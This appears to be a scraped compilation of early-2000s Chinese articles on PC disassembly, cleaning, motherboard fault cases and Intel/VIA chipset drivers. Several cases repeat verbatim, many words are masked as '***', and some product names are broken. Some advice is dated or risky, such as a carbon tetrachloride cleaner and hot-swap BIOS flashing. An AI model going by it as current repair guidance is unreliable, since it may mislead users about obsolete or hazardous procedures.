拔下所有外设连线后就可以打开机箱了。无论是卧式还是立式机箱,机箱盖的固定螺丝大多在机箱后侧边缘上,用十字螺丝刀拧下几颗螺丝就可以取下机箱盖。
(3)拆下适配卡
显示卡、声卡插在主板的扩展插槽中,并用螺丝固定在机箱后侧的条形窗口上。拆卸接口卡时,先用螺丝刀拧下条形窗口上沿固定插卡的螺丝,然后用双手捏紧接口卡的上边缘,平直的向上拔下接口卡。
(4)拔下驱动器数据线
硬盘、软驱、光驱数据线一头插在驱动器上,另一头插在主板的接口插座上。捏紧数据线插头的两端,平稳的沿水平方向拔出即可。
拔下驱动器数据线要注意两点:一是不要拉着数据线向下拔,以免损坏数据线;二是注意拔下的方向以便还原。驱动器数据线的边缘有一条红线(线1),此线与驱动器、主板驱动器接口上的脚1相对应,在驱动器和主扳驱动器接口插座旁大多有1的标识。
(5)拔下驱动器电源插头
硬盘、光驱电源插头为大四针插头,软驱电源插头为小四针插头,沿水平方向向外拔出即可。***还原时请注意方向,反向一般无法插入,强行反向插入接通电源后会损坏驱动器。
(6)拆下驱动器
硬盘、软驱、光驱都固定在机箱面板内的驱动器支架上,拆卸驱动器时请先拧下驱动器支架两侧固定驱动器的螺丝(有些固定螺丝在面板上),即可向前抽出驱动器。拧下硬盘最后一颗螺丝时要用手握住硬盘,小心硬盘落下,硬盘轻轻摔一下就会损坏。有些机箱中的驱动器不用螺丝固定而采用弹***卡紧,这种情况只要松开弹***,即可从滑轨中抽出驱动器。
(7)拔下主板电源插头
电源插头插在主板电源插座上,ATX电源插头是双排20针插头,插头上有一个小塑料卡,捏佐它就可以拔下ATX电源插头。AT电源插头为两只六针插头P8、P9,平稳向上拔出即可。最后还原AT电源插头时请注意方向,六针插头P8、P9中间的黑线应靠在一起向下插入,方向错误将导致电源短路。
(8)其它插头
需要拔下的插头可能还有CPU风扇电源插头、光驱与声卡之间的音频线插头、主板与机箱面扳插头、声卡与主板间的SB-LINK插头等。拔下这些插头时应作好纪录,如插接线的颜色、插座的位置、插座插针的排列等,以方便还原。
4.清洁机箱内表面的积尘
对于机箱内表面上的大面积积尘,可用拧干的湿布擦拭。湿布应尽量干,擦拭完毕应该用电吹风吹干水渍。各种插头插座、扩充插槽、内存插槽及板卡一般不要用水擦拭。
5.清洁插槽、插头、插座
需要清洁的插槽包括各种总线(ISA、PCI、AGP)扩展插槽、内存条插槽、各种驱动器接口插头插座等。各种插槽内的灰尘一般先用油画笔清扫,然后再用吹气球或者电吹风吹尽灰尘。
插槽内金属接脚如有油污,可用脱脂棉球沾电脑专用清洁剂或无水乙醇去除。电脑专用清洁剂多为四氯化碳加活性剂构成,涂抹去污后清洁剂能自动挥发。购买清洁剂时一是检查其挥发性能,当然是挥发越快越好;二是用pH试纸检查其酸碱性,要求呈中性,如呈酸性则对板卡有腐蚀作用。
6.清洁CPU风扇
如果你的PⅡ和赛扬类CPU还较新,风扇可以不必取下,用油漆刷或者油画笔扫除就可以了。较旧的CPU风扇上积尘较多,一般须取下清扫。下面以Socket 7的CPU为例,介绍CPU风扇的除尘。
散装CPU风扇是卡在CPU插座两侧的卡扣上,将风扇卡扣略略下压即可取下CPU风扇。取下CPU风扇后,即可为风扇除尘。注意散热片的缝中有很多灰尘。
原装CPU风扇与CPU连为一体,需将Socket 7插座旁的把手轻轻向外侧拨出一点,使把手与把手定位卡脱离,再向上推到垂直90度位置,然后向上取下CPU。清洁CPU风扇时,注意不要弄脏了CPU和散热片的结合面间的导热硅胶。
7.清洁内存条和适配卡
内存条和各种适配卡的清洁包括除尘和清洁电路板上的金手指。除尘用油画笔即可。金手指是电路板和插槽之间的连接点,如果有灰尘、油污或者被氧化,均会造成接触不良。陈旧的计算机中大量故障由此而来。高级电路板的金手指是镀金的,不容易氧化。为了降低成本,一般适配卡和内存条的金手指没有镀金,只是一层铜箔,时间长了将发生氧化。可用橡皮擦来擦除金手指表面的灰尘、油污或氧化层。切不可用砂纸类东西来擦拭金手指,否则会损伤极薄的镀层。
主板防病毒未关闭,导致系统无法***
  故障现象:一台老Celeron 333配置的计算机,在***Windows 98时,发现在***初始阶段屏幕上突然出现一个黑色矩形区域,像是有什么提示,随后就停止***了。调整显示器亮度和对比度开关也无效,感觉和病毒有关。用杀毒软件查杀病毒,并没有发现任何病毒。后来经人指点,进入了CMOS设置程序,将BIOS Features Setu rdquo;(BIOS功能设置)中的Virus Warning(病毒警告)选项由Enabled(允许)设置成Disabled(禁止)后,重装Windows 98获得成功。
  故障分析:此现象比较容易出现在新购主板中,因为它们的BIOS中的防病毒设置大多默认设置为Enabled,所以会出现无法***系统的问题。此问题严格地讲,不应算主板故障。但往往许多用户不是很注意,导致频频发生。因此有必要再提一下,对于类似故障,只要仔细看下主板说明书就能搞定。
主板温控失常 引发主板假死
  故障现象:华硕P3B-F主板上有智能监控芯片,因此可对CPU温度进行监视。在购该主板时,另购一根2Pin的温度监控线,插于CPU插槽旁的JTP针脚上。后来在一次玩游戏过程中,机器突然蓝屏,重启后,等到光驱、硬盘自检完后显示器居然不亮了。由于之前报告蓝屏错误,起初以为是内存出错,后来更换内存后依然无效。又开始怀疑CPU故障,换了一块Pentium III 450 CPU,故障依旧。百般无奈下,突然发现原来接在主板上的温控线脱落,掉在主板上&helli helli 难道是温度监控线导致的故障吗?重新连接温度监控线后,再开机居然一切正常了。
  故障分析:由于现在CPU发热量非常大,所以许多主板都提供了严格的温度监控和保护装置。一般CPU温度过高,或主板上的温度监控系统出现故障,主板就会自动进入保护状态。拒绝加电启动,或报警提示。上述例子就是由于主板温度监控线脱落,导致主板自动进入保护状态,拒绝加电。所以当你的主板无法正常启动或报警时,先检查下主板的温度监控装置是否正常。
主板过热导致频繁死机
  故障现象:一台Tualatin/256MB DDR/GeForce2 MX440主机频繁死机,以为感染病毒,经查杀后未发现任何病毒。又认为是硬盘碎片过多,导致系统不稳定。但整理硬盘碎片,甚至格式化C盘重做系统,但一段时间后又反复死机。开始考虑到硬件自身问题了&helli helli 后来检查出来是主板过热导致不稳定,因为主板是杂牌i845EP主板,做工差不说,且北桥上无散热风扇,加散热风扇后,问题解决。
  故障分析:一般为主板或CPU有问题,如若按此法不能解决故障,那就只有更换主板或CPU了。出现此类故障一般是由于主板Cache有问题或主板设计散热不良引起,笔者在某品牌815EP主板上就曾发现因主板散热不够好而导致该故障。在死机后触摸CPU周围主板元件,发现其温度非常高且烫手。更换大功率风扇后,死机故障得以解决。对于Cache有问题的故障,可以进入CMOS设置程序,将Cache禁止后即可顺利解决问题,当然,Cache禁止后速度那就肯定会有影响了。
IDE接线错误 主板六亲不认
  故障现象:一台AthlonXP 1600+/Seagate 40GB/256MB DDR/GeForce2 MX主机,在一次双硬盘对拷后,重新连接主硬盘并开机,机器提示找不到任何IDE设备,找不到硬盘也无法进入Windows XP。重启进入CMOS设置程序后,发现检测不到任何IDE设备。换另外硬盘也检测不到,怀疑是主板IDE口出现故障,但也不至于全部的IDE口都损坏了?继续检查,发现ATA/100硬盘线是Slave口接在硬盘上,于是更换为Master接口,开机恢复正常。
  故障分析:此故障看似复杂,没有经验的菜鸟会误认为是硬件损坏,但这仅仅是因为IDE接线错误造成的,此类现象还经常发生在我们身边。有的朋友再挂硬盘时,因为没有及时更改跳线,也会出现类似情况。还有的朋友出现找不到硬盘故障,除去硬盘本身出现故障的可能外,还有可能是由于主板的IDE线或者IDE口损坏造成。只要仔细检查,一般都可以排除此类故障。
  其实以上笔者所讲的这些故障都不可怕,往往都是用户粗心大意造成的。常见主板故障主要就集中在了主要分为硬件自身故障和设置使用故障两方面,只要能做到小心仔细就可避免类似的问题出现。而我们在分析上述案例的同时,也希望大家能从中学到解决主板故障的思路及办法,这样在你遇到主板故障时就可以从容应待,而不用手忙脚乱了。
IRQ设置错误导致鼠标不可用
  故障现象:一台老式586电脑,***Windows或启动Windows时鼠标不可用。开始认为是鼠标问题,更换后依然时不时出现类似故障。再次更换鼠标,问题依旧,怀疑是主板PS/2鼠标接口故障,拿到专业主板检测点检查PS/2鼠标口正常。后来发现原来是CMOS参数设置错误引起的。
  故障分析:因为在CMOS设置程序的电源管理栏有一项Modem use IRQ项目,此机器的选项分别为3、4、5......、NA,一般默认选项为3,将其设置为3以外的中断项即可。此类故障一般常见于老式586电脑,新式主板一般不会有此问题。在一些老式586电脑上其COM口与LPT口是靠一根信号连接线连到机箱外的,其COM口信号连接线随主板不同,接法也有所不同,如若接法不对也会导致鼠标不可用,它的接法一般有以下两种:①信号线按照1至9的顺序依次与连接头相连;②信号线与连接点交叉相连,连接头上面一排分别连接信号线的1、3、5、7、9,下面一排为2、4、6、8。
  主板是电脑的基础部件,它的作用相当于一个桥梁,用来连接各种电脑设备。常见主板故障大致有以下几种,无法加电自检、主板接口损坏、BIOS无法自动保存等。其实有些故障并不可怕,主要是用户粗心大意造成的。不过由于主板自身质量问题而引起的故障也比较多,另外出现的一些问题都是用户人为造成的。对此,下文分析五种较为常见的主板故障案例,希望大家从中能学到解决主板故障的思路和办法。
1.主板防病毒未关闭,导致系统无法***
  故障现象:一台老Celeron 333配置的计算机,在***Windows 98时,发现在***初始阶段屏幕上突然出现一个黑色矩形区域,像是有什么提示,随后就停止***了。调整显示器亮度和对比度开关也无效,感觉和病毒有关。用杀毒软件查杀病毒,并没有发现任何病毒。后来经人指点,进入了CMOS设置程序,将BIOS Features Setu rdquo;(BIOS功能设置)中的Virus Warning(病毒警告)选项由Enabled(允许)设置成Disabled(禁止)后,重装Windows 98获得成功。
  故障分析:此现象比较容易出现在新购主板中,因为它们的BIOS中的防病毒设置大多默认设置为Enabled,所以会出现无法***系统的问题。此问题严格地讲,不应算主板故障。但往往许多用户不是很注意,导致频频发生。因此有必要再提一下,对于类似故障,只要仔细看下主板说明书就能搞定。
2.主板温控失常 引发主板假死
  故障现象:华硕P3B-F主板上有智能监控芯片,因此可对CPU温度进行监视。在购该主板时,另购一根2Pin的温度监控线,插于CPU插槽旁的JTP针脚上。后来在一次玩游戏过程中,机器突然蓝屏,重启后,等到光驱、硬盘自检完后显示器居然不亮了。由于之前报告蓝屏错误,起初以为是内存出错,后来更换内存后依然无效。又开始怀疑CPU故障,换了一块Pentium III 450 CPU,故障依旧。百般无奈下,突然发现原来接在主板上的温控线脱落,掉在主板上&helli helli 难道是温度监控线导致的故障吗?重新连接温度监控线后,再开机居然一切正常了。
  故障分析:由于现在CPU发热量非常大,所以许多主板都提供了严格的温度监控和保护装置。一般CPU温度过高,或主板上的温度监控系统出现故障,主板就会自动进入保护状态。拒绝加电启动,或报警提示。上述例子就是由于主板温度监控线脱落,导致主板自动进入保护状态,拒绝加电。所以当你的主板无法正常启动或报警时,先检查下主板的温度监控装置是否正常。
3.IRQ设置错误导致鼠标不可用
  故障现象:一台老式586电脑,***Windows或启动Windows时鼠标不可用。开始认为是鼠标问题,更换后依然时不时出现类似故障。再次更换鼠标,问题依旧,怀疑是主板PS/2鼠标接口故障,拿到专业主板检测点检查PS/2鼠标口正常。后来发现原来是CMOS参数设置错误引起的。
  故障分析:因为在CMOS设置程序的电源管理栏有一项Modem use IRQ项目,此机器的选项分别为3、4、5......、NA,一般默认选项为3,将其设置为3以外的中断项即可。此类故障一般常见于老式586电脑,新式主板一般不会有此问题。在一些老式586电脑上其COM口与LPT口是靠一根信号连接线连到机箱外的,其COM口信号连接线随主板不同,接法也有所不同,如若接法不对也会导致鼠标不可用,它的接法一般有以下两种:①信号线按照1至9的顺序依次与连接头相连;②信号线与连接点交叉相连,连接头上面一排分别连接信号线的1、3、5、7、9,下面一排为2、4、6、8。
4.主板过热导致频繁死机
  故障现象:一台Tualatin/256MB DDR/GeForce2 MX440主机频繁死机,以为感染病毒,经查杀后未发现任何病毒。又认为是硬盘碎片过多,导致系统不稳定。但整理硬盘碎片,甚至格式化C盘重做系统,但一段时间后又反复死机。开始考虑到硬件自身问题了&helli helli 后来检查出来是主板过热导致不稳定,因为主板是杂牌i845EP主板,做工差不说,且北桥上无散热风扇,加散热风扇后,问题解决。
  故障分析:一般为主板或CPU有问题,如若按此法不能解决故障,那就只有更换主板或CPU了。出现此类故障一般是由于主板Cache有问题或主板设计散热不良引起,笔者在某品牌815EP主板上就曾发现因主板散热不够好而导致该故障。在死机后触摸CPU周围主板元件,发现其温度非常高且烫手。更换大功率风扇后,死机故障得以解决。对于Cache有问题的故障,可以进入CMOS设置程序,将Cache禁止后即可顺利解决问题,当然,Cache禁止后速度那就肯定会有影响了。
5.IDE接线错误 主板六亲不认
  故障现象:一台AthlonXP 1600+/Seagate 40GB/256MB DDR/GeForce2 MX主机,在一次双硬盘对拷后,重新连接主硬盘并开机,机器提示找不到任何IDE设备,找不到硬盘也无法进入Windows XP。重启进入CMOS设置程序后,发现检测不到任何IDE设备。换另外硬盘也检测不到,怀疑是主板IDE口出现故障,但也不至于全部的IDE口都损坏了?继续检查,发现ATA/100硬盘线是Slave口接在硬盘上,于是更换为Master接口,开机恢复正常。
  故障分析:此故障看似复杂,没有经验的菜鸟会误认为是硬件损坏,但这仅仅是因为IDE接线错误造成的,此类现象还经常发生在我们身边。有的朋友再挂硬盘时,因为没有及时更改跳线,也会出现类似情况。还有的朋友出现找不到硬盘故障,除去硬盘本身出现故障的可能外,还有可能是由于主板的IDE线或者IDE口损坏造成。只要仔细检查,一般都可以排除此类故障。
  其实以上笔者所讲的这些故障都不可怕,往往都是用户粗心大意造成的。常见主板故障主要就集中在了主要分为硬件自身故障和设置使用故障两方面,只要能做到小心仔细就可避免类似的问题出现。而我们在分析上述案例的同时,也希望大家能从中学到解决主板故障的思路及办法,这样在你遇到主板故障时就可以从容应待,而不用手忙脚乱了。
  故障表现:
  今天,有客户打***说,才买的TCL锐丽5115F电脑,使用还不到一个月,在OFFICE2000的WORD里画表格时,主机内部有尖叫声,就像划玻璃似的,特别刺耳。而在其他桌面,听MP3,放电影时却没有叫声,也只有在WORD里画线时才有这种尖叫声。
  故障排除:
  主机的配置如下:P4CPU1.7G,内存DDR256MB,主板技嘉GA-8LD533(REV:1.0),硬盘40G。
  像这种故障很难碰到一次,第一次的上门工程师仔细检查了半天,最后认为这种异响是硬盘发出的,说起来主机箱内容易产生异响就是硬盘了,硬盘的磁臂出问题时就会出现高频啸叫,不过声音应该更大一些,更刺耳一些。于是就把硬盘摘了回来,结果到公司挂在别的机子上,无论用什么工具画表格划线,是一点杂音也没有。仔细想一想,硬盘如果真的有问题的话,无论你做什么工作它都会响,更何况在划线时硬盘又不一定在读取数据。
  后来又考虑到可能是驱动程序有冲突造成的,进入WINDOWS的安全模式,不加载任何驱动程序和其他应用软件,启动WORD后执行画表操作,结果还是一样的有尖叫声,这就可以排除这种异响不是由于驱动程序冲突产生的。
  卸载OFFICE2000,再次***OFFICE97后,发现在WORD中划线时没有了尖叫声,但是在EXECL表格中又有了尖叫声。问题还是没有解决,但可以断定不是OFFICE软件的原因。
  会不会是PC喇叭在工作时发出的高频啸叫声呢?
  不过拆开机箱后发现,这款技嘉-8LD533主板,PC喇叭是集成在主板上,使用的是微型蜂鸣器。主板上也没有跳线,不可能把蜂鸣器给摘了吧。
  在仔细辨别声音来源后,发现声音发自CPU附近,准确一点就在CPU的位置。CPU附近可能有声音的也只有CPU风扇,当CPU风扇高速旋转时,有可能与周围的电线或杂物相接触,产生异常的声音。于是在CPU工作时,人为的用外力短时间的使CPU风扇停转,再划线时仍有尖叫声。这时也可断定不是CPU风扇的问题。
  像种声音频率相当高,应该可以判断是某主板上某部分在电脑工作时产生了高频振荡,引起啸叫。我又试着在主机工作时,用手挨个按压主板上的电容,电感线圈,集成块,但故障还是老样子。
  CPU是一个整体,按道理说其本身是不会产生振动的,也不可能会发声的。但是由于电脑是高科技产品,其故障的产生有时也很高科技。于是又换了块P41.7G的CPU试了试,结果故障依旧。
  因为发声部位就在CPU的位置,再加上是刚买不到一个月的新机器,因此也就没对电源进行更换处理。
  我认真考虑后判断,这种故障可能时CPU座某部分焊接不牢,当CPU工作时产生了异常的叫声。于是就把主板拆下来,使用其他好的显卡,硬盘,光驱,M,CPU风扇等进行测试,结果还是一样还有那种难受的声音。
  这时就可以断定真的是主板有问题。因为是TCL品牌机,按流程只能先向TCL公司申请备件,这期间先给客户提供备用机解决。等板子回来就可以客户解决问题了。
  故障分析:
  电脑内部能够发声的只有PC喇叭,电源风扇,CPU风扇,调制解调器这几个地方,还有就是主板上或某个卡上的元件虚焊。
  PC喇叭一般用于错误信息的报警和工作状态的提示,也可以通过程序使其播放音乐,如在DOS时代非常有名的杨基病毒;也可以通过相应的软件使其说话,但是效果极差。如果有病毒或BIOS内部代码冲突时也可能会产生异常的声音,但这时只要断开PC喇叭的连接线就可以判明了。
  电源风扇出现异常叫声时,一般都是风扇的风叶与其他物体相碰或内部缺油转动阻力增大产生的,这时只要更换电源就可以查明。
  CPU风扇有异响时原因同电源风扇。
  调制解调器因为上面有用于拔号音提示的小蜂鸣器,也有可能在程序控制或病毒的破坏下发出异常的声音,只要根据发声部位或用替换法就可以查明故障所在。
  如果主板上某个元件虚焊时,如电感线圈在工作时如果某个引脚焊接不牢就有可能发出异常的声音,但是此类故障一般很少出现,但是此例就是因为CPU插座有虚焊情况而产生的异常响声。
  故障总结:
  像这类故障在计算机的维修中可以说一万次也不一定能遇到一回,其原因只可能是CPU插座的某个引脚没有焊接牢固,当CPU高速运算时,通过各引脚的电流会因为工作状态和所使用的内部指令不同而不同,如果在某一特定状态下,故障引脚在数G频率的高频大电流通过时,因为焊接不牢而引起多次谐波共振,这时就产生了像划玻璃一样的尖叫声。
  技嘉的这款P4主板,CPU插座采用的表面焊接技术,使用手工焊接,对于多达478只引脚的元件想手工焊接几乎是没有可能的。像这种故障,生产厂家在正常的生产流程中通过用高温,低温,湿度等正常的检验方法是很难发现的,也只有在客户自己使用过程中才能发现这种世纪罕见的故障。
  主板是负责连接电脑配件的桥梁,其工作的稳定性直接影响着电脑能否正常运行。由于它所集成的组件和电路多而复杂,因此产生故障的原因也相对较多。
  主板故障的确定,一般通过逐步拔除或替换主板所连接的板卡(内存、显卡等),先排除这些配件可能出现的问题后就可以把目标锁定在主板上。另外,主板故障往往表现为系统启动失败、屏幕无显示等难以直观判断的故障现象。以下,笔者仅介绍一些常见的、易操作的故障的判断,对于一些电路、电气故障的问题,因需要借助专业的维修诊断工具加之笔者的能力有限,不能列举,在此表示抱歉。
  1、与主板驱动有关   主板驱动丢失、破损、重复***会引起操作系统引导失败或造成操作系统工作不稳的故障,可依次打开控制面板系统设备管理器检查一下系统设备中的项目是否有***惊叹号或问号。将打***惊叹号或问号的项目全部删除(可在安全模式下进行操作),重新***主板自带的驱动,重启即可。例如,采用Intel芯片组的主板要***Intel Chi et Software I tallation Utility主板驱动程序,采用VIA芯片组的主板需***4 In 1驱动,以取得更好的稳定性和兼容性。
  2、接触不良、短路等
  主板的面积较大,是聚集灰尘较多的地方。灰尘,很可能会引发插槽与板卡接触不良的现象,这时我们可以对着插槽吹吹气,去除灰尘。如果是由于插槽引脚氧化而引起接触不良的,可以将有硬度的白纸折好(表面光滑那面向外),插入槽内来回擦拭。另外,CPU插槽内用于检测CPU温度或主板上用于监控机箱内温度的热敏电阻上附上了灰尘的话,很可能会造成主板对温度的识别错误,从而引发主板保护性故障的问题,在清洁时也需要注意。
  ***机箱时,不小心掉入的诸如小镙丝之类的导电物可能会卡在主板的元器件之间从而引发短路现象,会引发保护性故障。另外,检查主板与机箱底板间是否因少装了用于支撑主板的小铜柱;是否主板***不当或机箱变形而使主板与机箱直接接触,使具有短路保护功能的电源自动切断电源供应。   3、和主板电池有关
  当遇到:电脑开机时不能正确找到硬盘、开机后系统时间不正确、CMOS设置不能保存等现象时,可先检查主板CMOS跳线是否设为清除CLEAR选项(一般是2-3),如果是这样的话,请将跳线改为NORMAL选项(一般是1-2)然后重新设置。如果不是CMOS跳线错误,就很可能是因为主板电池损坏或电池电压不足造成的,请换个主板电池试试。
  4、兼容性问题
  遇到由于主板设计上的BUG或升级配件时出现的新旧事物兼容性问题的情况(可参考前几期的《**故障应该怎样判断》的文章,先试着排除),在排除BIOS设置的问题后可以下载主板的最新BIOS进行刷新。另外,笔者还遇到过升级操作系统而引起的兼容性问题后来确定和主板BIOS陈旧所致。
  技巧一:清除CMOS设置,也可以解决一些莫名其妙的故障,大家不妨试试。
  技巧二:当***的硬件不能被操作系统识别时,将CMOS设置的PNP OS INSTALLED(即插即用)项目设成YES或NO,试试。
  5、主板北桥芯片散热效果不佳造成
  有些主板将北桥芯片上的散热片省掉了,这可能会造成芯片散热效果不佳导致系统运行一段时间后死机。遇到这样的情况,可自制散热片安上或加个散热效果好的机箱风扇。   6、主板电容失效引起的
  主板上的铝电解电容(一般在CPU插槽周围),其内部采用了电解液由于时间、温度、质量等方面的原因,会使它发生老化现象,这会导致主板抗干扰指标的下降影响机子正常工作。我们可以购买与老化容量相同的电容,准备好电烙铁、焊锡丝、松香后,将老化的替换即可。另外,***电脑时工具的失落也有可能不小心将电容砸坏,也应检查排除。
  7、BIOS受损
  由于BIOS刷新失败或CIH病毒造成的BIOS受损的问题,如果引导块(Award BIOS中称为BIOS Boot Block、Phoenix BIOS中称为Flash Recover boot Block)未被破坏,可用自制的启动盘进行重新刷新BIOS(具体方法可以参考本站的相关文章,这里就不再赘述),假如引导块也损坏的话,可用热插拔法(很危险)或用利用编程器进行安全的修复。如果您手中无编程器的话,笔者推荐到
上去看看,那里有BIOS代写业务。
  主板驱动的重要性
  近年以来,市场激烈的竞争促使硬件厂商推新品的动作大大超过了微软操作系统更新的脚步,各种新技术应运而生,主板芯片组的更新换代也越来越快,以前升级换代需要一年左右,而现在只花半年甚至更短的时间,新一代芯片组便已经占据市场大部分份额了。微软目前更新操作系统的速度也有所加快,但是还是需要两年左右。在微软尚未完成操作系统更新换代的日子里,新的芯片组所带来的一系列不兼容问题摆在了我们面前。如很多主板芯片组无法被操作系统正确识别,这直接造成了本来能够支持的新技术不能正常使用以及兼容性问题大量出现。尽管微软也注意到了这种情况,通过SP升级包来解决硬件不兼容问题,这种升级包集成了许多芯片组的驱动程序,解决了不少性能与兼容方面的问题。但是,近一年来主板方面涌现出来的的芯片组、新技术,它均难以充分支持。
  Windows XP系统由于刚推出不久,虽然能够支持市面上绝大部分的主板,但对于ATA/133这样的新技术仍然无法直接支持。更何况目前仍有相当多的用户还在使用着Windows 98这样的老操作系统,因此操作系统与主板芯片组之间的支持问题表现得非常突出。因此芯片厂商提供了相关的主板驱动程序,以配合操作系统使用。其作用有两点,第一是让操作系统正确识别新推出的主板芯片组以充分应用,第二个就是让操作系统支持新款芯片组所支持的新技术。主板驱动程序不仅解决了硬件于软件的兼容性问题,同时在一定程度上对系统整体或子系统的性能进行了优化。一个芯片组的性能发挥如何,与它的驱动程序完善程度有极大关系。   Intel芯片组
  Intel的芯片组是目前使用最为广泛的芯片组,它以优秀的稳定性和兼容性著称,加上配合同属一家的CPU,性能一流。随着Intel新品的不断推出,Intel也在不断提供相应的芯片组驱动程序。Intel的主板驱动程序叫作Intel Chi et Software I tallation Utility,目前最新的版本是4.00.1013版,支持Windows9x/ME/2000/XP,同时为了增强使用性能,Intel还提供了名为Intel A lication Accelerator的应用程序加速器,这是一款增强型IDE驱动程序,目前最新版本为2.2.0.2128多语言版,支持Windows9x/ME/NT4/2000/XP。Intel以前还有一个叫作Intel Ultra ATA Storage的驱动程序,不过从2001年11月以后,Intel A lication Accelerator应用程序加速器驱动实际上替代了以前Intel Ultra ATA Storage驱动的位置。而且在功能和性能上还要优秀一些。建议i810以后的主板都***这款驱动程序。
  建议
  在Windows98系统中,当没有***芯片组驱动程序时,系统属性中的未知设备上会出现***的感叹号,但是仍可以正常使用,不过与***驱动程序识别后相比较,性能无法全部发挥,因此必须***Intel INF驱动程序和应用程序加速器。Windows2000系统基本已经可以识别主板上大多数设备,并且能自行***相应的驱动程序,不过其驱动版本比较老了,无法识别i815以后的芯片组,因此在Windows2000下我们可以根据自己具体使用情况***芯片组驱动程序。WindowsXP系统自带的驱动程序比Win2000要新,对硬件的支持度以及性能优化明显要好于Windows2000,目前看来除了i830M/MP/MG和i845芯片组需要外,其它Intel芯片组都可以不***主板芯片组驱动。
  VIA芯片组
  VIA是最早把多个驱动程序打包统一***的厂家,就是我们俗称的VIA 4in1驱动程序,它包括了VIA的ACPI驱动程序、AGP驱动程序、IDE Bus Master Filter驱动程序和IRQ驱动程序。目前VIA最新的4in1驱动程序版本是4.38(2)v(a)版,加入了在WindowsXP环境下对ATA/133界面的支持、AGP驱动升级为4.10b版。其中ACPI驱动为1.40a版,IDE Bus Master Filter驱动是1.20版,IRQ驱动为1.3a版。而且,VIA目前还新增了一个独立的VIA IDE Miniport Driver驱动程序,最新版本为3.014。
  选择正确的IDE驱动
  IDE Miniport Driver和IDE Filter Driver都是VIA开发的IDE控制器驱动,这两种IDE控制器驱动各有它们自己的特征与目的。我们知道,IDE Device Driver有两个特征:过滤与覆盖。所谓的过滤驱动就是指的VIA IDE Filter Driver了,它主要被用来确定系统常规驱动程序的高位或低位层,监控常规驱动程序的特定情形。VIA IDE Filter驱动为Windows 95/98/2000/ME/XP等系统所支持,是除Windows NT外的所有微软操作系统的缺省***驱动。由于过滤驱动无法直接存取I/O也就意味着它无法控制一些设备,因此对Windows NT操作系统不支持,这也是过滤驱动这种类型的的局限性。所谓的覆盖驱动就是我们现在所看到的IDE Miniport Driver了,它将会覆盖掉系统原有的驱动并取而代之。它能够直接通过设备I/O掌控硬件动作。微软对于驱动有保证兼容性的明确要求,对于IDE控制器来说,覆盖驱动实际上是SCSI miniport驱动,它位于SCSI接口驱动之下用来掌控所有的IDE控制器以及ATA/ATAPI设备。VIA IDE Miniport Driver能够巧妙的校正设备出现I/O错误的情况。它能够由高到低的逐级自动递减设备的传输模式级别至正确,这里所谓的传输模式级别其实就是我们经常说到的UDMA 100、UDMA 66、UDMA、DMA以及PIO模式了。但是微软缺省的驱动可就没这么聪明,它只会直接把存储设备传输模式从最高降到最低,因此当系统未***VIA IDE驱动前,其硬盘传输模式被固定在最低端的PIO模式。VIA IDE Miniport Driver还使用了一种另外占用系统内存的运算法则,这也是它能够从其他角度增进硬盘及IDE控制器性能的原因。
  IDE Miniport Driver驱动程序并不是必须***的驱动。根据VIA的官方资料,IDE Miniport Driver在下列情况下建议***:
  1.主板南桥芯片组为686B,并且拥有ZIP驱动器的系统;
  2.在Windows2000系统下,使用ATA100硬盘,同时没有***Service Pack 1;
  3.在Windows2000和WindowsXP系统下,使用ATA133硬盘时。
  IDE Miniport Driver驱动程序同时支持微软从Windows98开始的任何一个Windows操作系统,虽然4in1包内包括的IDE Bus Master Filter驱动已支持ATA133,但是据称VIA IDE Miniport Driver驱动却能提供更强大的性能,这也是我们建议某些情况下***VIA IDE Miniport Driver驱动的原因。当VIA IDE Miniport Driver驱动***完毕重启系统后,将会在任务栏里面建立一个VIA的小图标,这就是VIA IDETOOL,可以查看VIA芯片IDE接口的工作情况,如是否采用ATA/133传输模式。
  建议
  在Windows98系统下,VIA 4in1驱动程序在***后主板性能得到完全发挥,尤其是在实际应用中,效果更为明显,VIA 4in1驱动并不仅仅是为了解决兼容性问题而存在,而是实实在在带来性能上的提升。而且***IDE Miniport Driver所起到的效果要比IDE Bus Master Filter好。因此,在使用Win98系统时,VIA芯片组主板用户除4in1外最好再***IDE Miniport Driver。在Windows2000平台下,VIA主板若不***VIA IDE驱动程序,磁盘将始终只能工作在PIO模式下,所以***4in1驱动程序绝对是必不可少的。而是否再***IDE Miniport Driver驱动程要视情况而定,我们在文章前面已经把VIA推荐***IDE Miniport Driver驱动程序的情况列出,除去这些情况外,Windows2000系统不需要***IDE Miniport Driver驱动程序。在Windows XP系统下,由于系统本身对VIA的芯片组支持很好,目前暂时不需要***VIA所提供的驱动程序。KT333之前的芯片组用户甚至连4in1都可以不***。
  对电脑来说,既然电源是动力,那么主板就应该是提供动力的桥梁,如果桥梁不能通过,那做什么都是徒劳的。当你无法开机的时候,经过检查如果发现电源没有问题的话,估计问题就出主板身上了。
  怎么说呢,因为主板是各个配件的总连接处,电脑的一切配件都要经过主板来连接,如果它出现问题,导致无法启动的情况出现是不奇怪的。
  主板出现的问题情况比较多,我仅仅向大家介绍几种常见的问题:首先是开机的时候,如果电源灯不亮,显示器黑屏,其他组件什么反应都没有,这时一般人会立马想到是否电源出了问题,但事实上,主板坏了也是会出现这种状况的。
  在一台电脑里,电脑的启动需要一个启动装置,一般来讲,这个装置都在主板上,其中主要有一个启动电容,如果这个电容损坏了,就会出现什么都没反应的情况。这个电容虽然非常小,但是很容易发现:拿起主板,仔细观察,你会发现一个铁质的电解电容,它通常被一个金属丝环绕住。有了这么明显的特征,应该可以轻易找到了。
  解决办法就是将一个好的电容更换上去。这种问题算是比较常见的,我有两个朋友就是因为这个问题而启动不了机子,一个因为已经过了保修期,无奈只好拿到电脑城修理,也就是换了那个电容。另一个哥们还好,反正包换期还没过,干脆找商家换了块新主板回来,毕竟,问题虽小,解决起来还是比较麻烦的。
  还有就是主板的接口问题。因为主板上要接很多的配件,如果某个接口坏了,那么就表示这个配件不能用了,这样也会启动不了,例如:主板的AGP槽有问题,那可能就没法启动了。其实这问题严格的说不能归结到无法启动,有可能已经启动了,但是无法显示出来,所以最后我还是把它归到这方面来了。
  我现在用的电脑就有这样的问题,AGP槽很松,显卡的金手指不能和槽内的接触点接触,这样就没办法显示,要重新插过几次后,找准方位才行。还有是IDE接口有问题,这样根本不能检测到硬盘,那更不用说进入系统了。
  另外,还有内存槽的问题,如果你开机的时候,主机内的喇叭发出嘀,嘀的声音,而且其他组件没任何反映,这就有可能是内存槽不行了(当然也可能是内存坏了,但现在我们暂时先不考虑内存的问题)。还有其他的接口,像CPU接口等,在这里我就不一一赘述啦。
